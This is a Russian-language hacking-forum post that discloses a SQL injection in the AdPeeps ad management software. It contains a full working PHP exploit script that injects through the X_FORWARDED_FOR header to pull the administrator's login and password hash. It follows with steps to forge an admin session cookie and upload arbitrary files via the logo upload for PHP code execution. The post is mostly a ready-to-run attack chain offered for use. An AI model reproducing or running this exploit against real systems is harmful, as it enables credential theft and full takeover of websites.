AdPeeps sql инъекция, выполнение php кода

Discussion in 'Веб-уязвимости' started by (Dm), 15 Sep 2009.

  1. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    >> Сайт: http://adpeeps.com/
    >> Уязвимые версии: 8.5d2d(последняя), 8.5d2c, 8.5d1, возможно и другие.

    >> Уязвимость в файле adpeeps.php, не проверяются HTTP заголовок X_FORWARDED_FOR на наличие опасных символов, но участвует в sql запросах.

    Вот пример сплойта, который получает логин и хеш админа.
    PHP:
    #!/usr/bin/php

    <?
    //title: Advertisement Management Control Panel
    if ($argc < 2)
        die($argv[0]." <host> <path> [<version>]\n");

    $host = $argv[1];
    $path = $argv[2];
    $ver  = @$argv[3];

    $delimiter = "_".substr(md5(rand()),0,5)."_";
    $sql = "concat('".$delimiter."',(SELECT concat(authname,':',authpasscode) FROM adpeeps_auth WHERE campaignid=0 LIMIT 1),'".$delimiter."')";


    function SendQuery ($host, $query) {
        GLOBAL $delimiter;
        $buff = '';

        $fp = fsockopen($host, 80, $errno, $errstr, 10);
        if (!$fp) {
               echo "$errstr ($errno)<br />\n";
            exit;
        } else {
                fwrite($fp, $query);
                while (!feof($fp))
                    $buff .= fgets($fp, 128);
        
                fclose($fp);
        }
        $result = explode($delimiter, $buff);
        return $result[1];
    }

    //Определяем версию
    if (empty($ver)) {
        $ver = trim(@file_get_contents("http://".$host.$path."version.txt"));
        if (empty($ver)) die("Can't define the version\n");
        echo "Current version: ".$ver."\n\n";
    }


    //Выбираем эксплоит
    if ($ver == "8.5d2d" || $ver == "8.5d2c") {
        $ip = "X_FORWARDED_FOR:' LEFT JOIN adpeeps_settings AS settings ON 1=2 LEFT JOIN adpeeps_iptocountry AS geo ON 1=2 WHERE 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,".$sql.",14,15,16,17,18,19,20,21,22,23 #";
    } elseif ($ver == "8.5d1") {
        $ip .= "X_FORWARDED_FOR:' WHERE 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,".$sql.",14,15,16,17,18,19,20 #";
    } else {
        die("Can't find exploit for version ".$ver."\n");
    }

    //Получаем логин и хеш админа
    $query = "GET ".$path."adpeeps.php?bfunction=showad&btype=2 HTTP/1.1\r\n";
    $query.= "Host: ".$host."\r\n";
    $query.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
    $query.= "Connection: close\r\n";
    $query.= $ip."\r\n\r\n";

    echo "~> Admin auth info: \n";
    $result = SendQuery($host, $query);
    if (empty($result)) 
        die("Exploit failed\n");

    //$authkey = md5($loginname.$loginpassword);
    echo $result."\n\n";

    ?>
    >> Вход в админку через cookie:
    + ADPEEPSAUTH=логин:хеш:0

    >> Загрузка произвольных файлов в админке по адресу http://site/index.php?loc=define_settings&uid=100000 , поле "Upload your own logo"

    После загрузки файла он будет находится:
    + для версии 8.5d2d по адресу http://site/uploaded_banners/100000_logo_имяфайла
    + для версии 8.5d1 по адресу http://site/uploaded_banners/имяфайла
     
    6 people like this.